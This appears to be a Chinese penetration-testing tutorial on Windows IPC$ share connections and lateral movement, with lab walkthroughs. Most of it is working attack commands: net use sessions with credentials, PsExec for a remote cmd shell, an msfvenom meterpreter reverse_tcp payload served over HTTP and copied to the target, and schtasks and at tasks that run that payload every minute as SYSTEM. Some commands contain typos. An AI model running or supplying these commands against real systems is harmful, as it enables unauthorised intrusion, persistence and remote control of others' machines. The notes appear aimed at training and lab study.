IPC$共享连接
IPC$ (Internet Process Connection) 共享"命名管道"的资源,为实现进程间通信而开放的通道。使用该命令可以与目标主机建立连接,建立连接后可以访问目标主机的文件,进行下载、上传、命令执行等操作。
利用条件
- 目标主机开启139,445端口
- 目标主机管理员开启
IPC$
默认共享服务 - 知道目标主机的账号密码
操作命令
查看Windows默认开启的共享
net share
查看当前主机所建立的连接
net use
确定主机时间
net time \\ip
开启/关闭IPC$共享
net share ipc$
net share ipc$ /del
建立空连接
net use \\127.0.0.1\ipc$ "" /user:""
建立完整的用户名 密码IPC$连接
net use \\10.10.0.164\ipc$ "password" /user:"username"
删除IPC$连接
net use \\127.0.0.1\ipc$ /del
路径映射
net use z: \\10.10.0.164\c$ "password" /user:"username"
把目标主机的c盘映射到本地主机的z盘(没有建立ipc连接情况下)
net use z: \\10.10.0.164\c$
(已经建立ipc连接的情况下)
删除映射的z盘
net use z: /del
删除全部
net use * /del
使用dir查看目标机器目录
dir \\10.10.0.164\c$
复制文件
copy test.txt \\10.10.0.164\c$
将test.txt复制到目标主机的c盘
下载文件
copy \\10.10.0.164\c$\test.txt
使用at命令创建计划任务
at \\<目标主机ip> <启动时间> <木马所在位置>
at \\10.10.0.164
删除id为1的计划任务
at \\10.10.0.164 1 /delete
使用type读取文件
type \\10.10.0.164\c$\1.txt
读取目标机器的1.txt文件
实例1
win7 攻击机
win2012 目标机 10.10.0.164
使用win7与目标机建立ipc连接
net use \\10.10.0.164\ipc$ "admin123!" /user:"administartor"
查看目标机器的时间
net time \\10.10.0.164
使用dir读取目标机器c盘的文件
dir \\10.10.0.164\c$
使用type读取目标主机c盘下的1.txt
type \\10.10.0.164\c$\1.txt
选择将目标主机的c盘映射到本地z盘
net use z: \\10.10.0.164\c$
在建立ipc连接后利用Psexec反弹cmd
Psexec.exe \\10.10.0.164 -s cmd.exe -acceptcula
删除映射的z盘
net use z: /del
删除ipc$连接
net use \\10.10.0.164\ipc$ /del
删除全部
net use * /del
IPC+计划任务进行横向渗透
使用schtasks命令
利用流程
- 与目标建立IPC连接
- 使用copy命令将木马、命令脚本复制到目标机器
- 目标机器创建计划任务,使其自动触发木马、脚本
- 删除IPC连接
环境
攻击机 192.168.0.128 (kali)
目标机 192.168.0.164 (Win2012)
跳板机 192.168.0.157 (WIn2008)
跳板机与目标机建立IPC连接
net use \\192.168.0.164\ipc$ "password" /user:"administrator"
kali上生成木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.157 lport=8888 -f exe > shell.exe
将shell.exe传到跳转机上
在kali上开启一个http服务
python3 -m http.server 9999
在跳转机上访问并下载shell.exe
在跳转机上使用copy命令将shell.exe复制到目标机
copy shell.exe \\192.168.0.164\c$
利用schtasks创建一个名为shell的计划命令,该命令每分钟执行一次shell.exe
schtasks /create /s 192.168.0.164 /u "administrator" /p "admin123!" /tn shell /sc minute /mo 1 /tr c:\shell.exe /ru sysytem /f
使用nc监听win2008跳转机的8888端口
利用schtasks 执行命令,使用type读取文件内容
schtasjs /create /s 192.168.0.164 /u "administrator" /p "admin123!" /tn test /sc minute /mo 1 /tr "c:\cmd.exe /c 'ipconfig > c:\result.txt'" /ru system /f
查看是否生成result.txt
dir \\192.168.0.164\c$
查看result.txt的内容
type \\192.168.0.164\c$\result.txt
schtasks 删除计划任务
schtasks /Delete /s 192.168.0.164 /u "administrator" /p "admin123!" /tn test /f
断开ipc$连接
net use \\192.168.0.164\ipc$ /del
schtasks 参数
S [目标主机] /U [目标用户名]
/P [目标密码]
/TN [任务名称] /TR [执行程序]
/SC [执行方式,once为执行1次] /ST [定时计划执行时间] /f [默认为Y,不进行回显交互,直接运行] /i [显示程序窗口交互]
使用at命令
at命令和schtasks命令类似
注意: Windows Server 2012 以后的版本没有at命令,只有schtasks命令 所以在这里使用win7 代替之前使用的win2012 环境 win7 192.168.0.129 win2008 192.168.0.157
与建立目标机器建立IPC连接
net use \\192.168.0.157\ipc$ "admin123!" /user:"administrator"
在跳转机上使用copy命令将shell2.exe复制到目标机
copy shell2.exe \\192.168.0.157\c$
使用at命令创建计划任务
查看目标机器时间
net time \\192.168.0.157
这里的时间可能与本地不符合
at \\192.168.0.157 2:13:00 c:\shell2.exe
查看任务列表
at \\192.168.0.157
Reference
https://www.secrss.com/articles/26810
http://t3ngyu.leanote.com/post/LM-AT-SCHTASKS
https://www.cnblogs.com/mindzone/p/14293851.html